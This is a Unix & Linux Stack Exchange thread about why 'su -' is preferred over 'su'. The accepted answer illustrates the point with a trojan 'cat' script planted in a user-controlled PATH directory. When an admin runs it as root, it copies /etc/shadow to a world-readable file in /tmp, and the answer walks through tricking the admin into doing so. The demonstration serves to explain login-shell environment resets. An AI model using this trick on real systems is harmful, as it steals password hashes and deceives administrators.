Take the 2-minute tour ×
Unix & Linux Stack Exchange is a question and answer site for users of Linux, FreeBSD and other Un*x-like operating systems.. It's 100% free, no registration required.

I don't understand why su - is preferred over su to login as root.

share|improve this question
add comment

2 Answers 2

up vote 112 down vote accepted

su - invokes a login shell after switching the user. A login shell resets most environment variables, providing a clean base.

su just switches the user, providing a normal shell with an environment nearly the same as with the old user.

Imagine, you're a software developer with normal user access to a machine and your ignorant admin just won't give you root access. Let's (hopefully) trick him.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Now, you ask your admin why you can't cat the dummy file in your home folder, it just won't work!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

If your admin isn't that smart or just a bit lazy, he might come to your desk and try with his super-user powers:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Thank super admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

He, he.

You've maybe noticed, that the corrupted $PATH variable was not reset. This wouldn't had happened, if the admin invoked su - .

share|improve this answer
12  
Thanks for the laughs ;) –  Tshepang Feb 7 '11 at 12:10
1  
Thanks! Quite funny way to explain it. ;) –  Dharmit Feb 7 '11 at 16:02
3  
su -- is the same as su. –  Mikel Feb 7 '11 at 20:08
2  
Simply superb! :) –  Barun Feb 23 '11 at 18:40
2  
One could as well just put a su file inside the PATH. It's not so hard to mimic the behavior of the real su. The super-user has been careless anyway :-) –  Stéphane Gimenez Feb 28 '12 at 18:53
show 5 more comments

su - logs you in completely as root, whereas su makes it so you are pretending to be root.

The most obvious example of this is that ~ is root's home directory if you use su -, but your own home directory if you use su.

Depending on your system, it may also mean differences in prompt, PATH, or history file.

So if you are part of a team administering a system, and your colleague gives you a command to run, you know it will work the same if you are both using su -, but if you are both using su, there may be differences due to you having different shell configurations.

On the other hand, if you want to run a command as root but using your own configuration, then maybe su is better for you.

Also don't forget about sudo, which has a -s option to start a shell running as root. Of course, this has different rules as well, and they change depending on which distribution you are using.

share|improve this answer
    
when I "su" I get ~ and $HOME both evaluating to /root. Is the behavior you describe specific to certain shells or OS versions or something? It's my understanding that ~ can be expanded by the kernel. I've got zsh as my (and root's) shell. –  JasonWoof Feb 8 '11 at 0:05
    
Your .bashrc or /etc/bashrc or /etc/profile.d scripts are setting PATH. Look for if [ $UID -eq 0 ] or something like that. –  Mikel Feb 8 '11 at 1:14
    
$USER for example is left unchanged. –  peterph Jan 30 at 11:13
    
What about sudo su? –  Simon Kuang Jul 18 at 20:10
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.